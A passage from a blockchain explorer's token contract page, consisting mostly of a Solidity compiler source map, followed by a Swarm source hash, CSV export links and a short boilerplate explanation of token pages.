0::-;9487:3;9508:5;9501:12;;9459:60;;;:::o;9525:158::-;9583:9;9616:61;9634:42;9643:32;9669:5;9643:32;:::i;:::-;9634:42;:::i;:::-;9616:61;:::i;:::-;9603:74;;9525:158;;;:::o;9689:147::-;9784:45;9823:5;9784:45;:::i;:::-;9779:3;9772:58;9689:147;;:::o;9842:114::-;9909:6;9943:5;9937:12;9927:22;;9842:114;;;:::o;9962:184::-;10061:11;10095:6;10090:3;10083:19;10135:4;10130:3;10126:14;10111:29;;9962:184;;;;:::o;10152:132::-;10219:4;10242:3;10234:11;;10272:4;10267:3;10263:14;10255:22;;10152:132;;;:::o;10290:108::-;10367:24;10385:5;10367:24;:::i;:::-;10362:3;10355:37;10290:108;;:::o;10404:179::-;10473:10;10494:46;10536:3;10528:6;10494:46;:::i;:::-;10572:4;10567:3;10563:14;10549:28;;10404:179;;;;:::o;10589:113::-;10659:4;10691;10686:3;10682:14;10674:22;;10589:113;;;:::o;10738:732::-;10857:3;10886:54;10934:5;10886:54;:::i;:::-;10956:86;11035:6;11030:3;10956:86;:::i;:::-;10949:93;;11066:56;11116:5;11066:56;:::i;:::-;11145:7;11176:1;11161:284;11186:6;11183:1;11180:13;11161:284;;;11262:6;11256:13;11289:63;11348:3;11333:13;11289:63;:::i;:::-;11282:70;;11375:60;11428:6;11375:60;:::i;:::-;11365:70;;11221:224;11208:1;11205;11201:9;11196:14;;11161:284;;;11165:14;11461:3;11454:10;;10862:608;;;10738:732;;;;:::o;11476:831::-;11739:4;11777:3;11766:9;11762:19;11754:27;;11791:71;11859:1;11848:9;11844:17;11835:6;11791:71;:::i;:::-;11872:80;11948:2;11937:9;11933:18;11924:6;11872:80;:::i;:::-;11999:9;11993:4;11989:20;11984:2;11973:9;11969:18;11962:48;12027:108;12130:4;12121:6;12027:108;:::i;:::-;12019:116;;12145:72;12213:2;12202:9;12198:18;12189:6;12145:72;:::i;:::-;12227:73;12295:3;12284:9;12280:19;12271:6;12227:73;:::i;:::-;11476:831;;;;;;;;:::o;12313:182::-;12453:34;12449:1;12441:6;12437:14;12430:58;12313:182;:::o;12501:366::-;12643:3;12664:67;12728:2;12723:3;12664:67;:::i;:::-;12657:74;;12740:93;12829:3;12740:93;:::i;:::-;12858:2;12853:3;12849:12;12842:19;;12501:366;;;:::o;12873:419::-;13039:4;13077:2;13066:9;13062:18;13054:26;;13126:9;13120:4;13116:20;13112:1;13101:9;13097:17;13090:47;13154:131;13280:4;13154:131;:::i;:::-;13146:139;;12873:419;;;:::o;13298:194::-;13338:4;13358:20;13376:1;13358:20;:::i;:::-;13353:25;;13392:20;13410:1;13392:20;:::i;:::-;13387:25;;13436:1;13433;13429:9;13421:17;;13460:1;13454:4;13451:11;13448:37;;;13465:18;;:::i;:::-;13448:37;13298:194;;;;:::o;13498:224::-;13638:34;13634:1;13626:6;13622:14;13615:58;13707:7;13702:2;13694:6;13690:15;13683:32;13498:224;:::o;13728:366::-;13870:3;13891:67;13955:2;13950:3;13891:67;:::i;:::-;13884:74;;13967:93;14056:3;13967:93;:::i;:::-;14085:2;14080:3;14076:12;14069:19;;13728:366;;;:::o;14100:419::-;14266:4;14304:2;14293:9;14289:18;14281:26;;14353:9;14347:4;14343:20;14339:1;14328:9;14324:17;14317:47;14381:131;14507:4;14381:131;:::i;:::-;14373:139;;14100:419;;;:::o;14525:222::-;14665:34;14661:1;14653:6;14649:14;14642:58;14734:5;14729:2;14721:6;14717:15;14710:30;14525:222;:::o;14753:366::-;14895:3;14916:67;14980:2;14975:3;14916:67;:::i;:::-;14909:74;;14992:93;15081:3;14992:93;:::i;:::-;15110:2;15105:3;15101:12;15094:19;;14753:366;;;:::o;15125:419::-;15291:4;15329:2;15318:9;15314:18;15306:26;;15378:9;15372:4;15368:20;15364:1;15353:9;15349:17;15342:47;15406:131;15532:4;15406:131;:::i;:::-;15398:139;;15125:419;;;:::o;15550:410::-;15590:7;15613:20;15631:1;15613:20;:::i;:::-;15608:25;;15647:20;15665:1;15647:20;:::i;:::-;15642:25;;15702:1;15699;15695:9;15724:30;15742:11;15724:30;:::i;:::-;15713:41;;15903:1;15894:7;15890:15;15887:1;15884:22;15864:1;15857:9;15837:83;15814:139;;15933:18;;:::i;:::-;15814:139;15598:362;15550:410;;;;:::o;15966:180::-;16014:77;16011:1;16004:88;16111:4;16108:1;16101:15;16135:4;16132:1;16125:15;16152:185;16192:1;16209:20;16227:1;16209:20;:::i;:::-;16204:25;;16243:20;16261:1;16243:20;:::i;:::-;16238:25;;16282:1;16272:35;;16287:18;;:::i;:::-;16272:35;16329:1;16326;16322:9;16317:14;;16152:185;;;;:::o;16343:221::-;16483:34;16479:1;16471:6;16467:14;16460:58;16552:4;16547:2;16539:6;16535:15;16528:29;16343:221;:::o;16570:366::-;16712:3;16733:67;16797:2;16792:3;16733:67;:::i;:::-;16726:74;;16809:93;16898:3;16809:93;:::i;:::-;16927:2;16922:3;16918:12;16911:19;;16570:366;;;:::o;16942:419::-;17108:4;17146:2;17135:9;17131:18;17123:26;;17195:9;17189:4;17185:20;17181:1;17170:9;17166:17;17159:47;17223:131;17349:4;17223:131;:::i;:::-;17215:139;;16942:419;;;:::o;17367:177::-;17507:29;17503:1;17495:6;17491:14;17484:53;17367:177;:::o;17550:366::-;17692:3;17713:67;17777:2;17772:3;17713:67;:::i;:::-;17706:74;;17789:93;17878:3;17789:93;:::i;:::-;17907:2;17902:3;17898:12;17891:19;;17550:366;;;:::o;17922:419::-;18088:4;18126:2;18115:9;18111:18;18103:26;;18175:9;18169:4;18165:20;18161:1;18150:9;18146:17;18139:47;18203:131;18329:4;18203:131;:::i;:::-;18195:139;;17922:419;;;:::o

Swarm Source

ipfs://2d3491536bea96c8027d03302f58b77847e02debe2d705bde57b696fd9886ff4
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.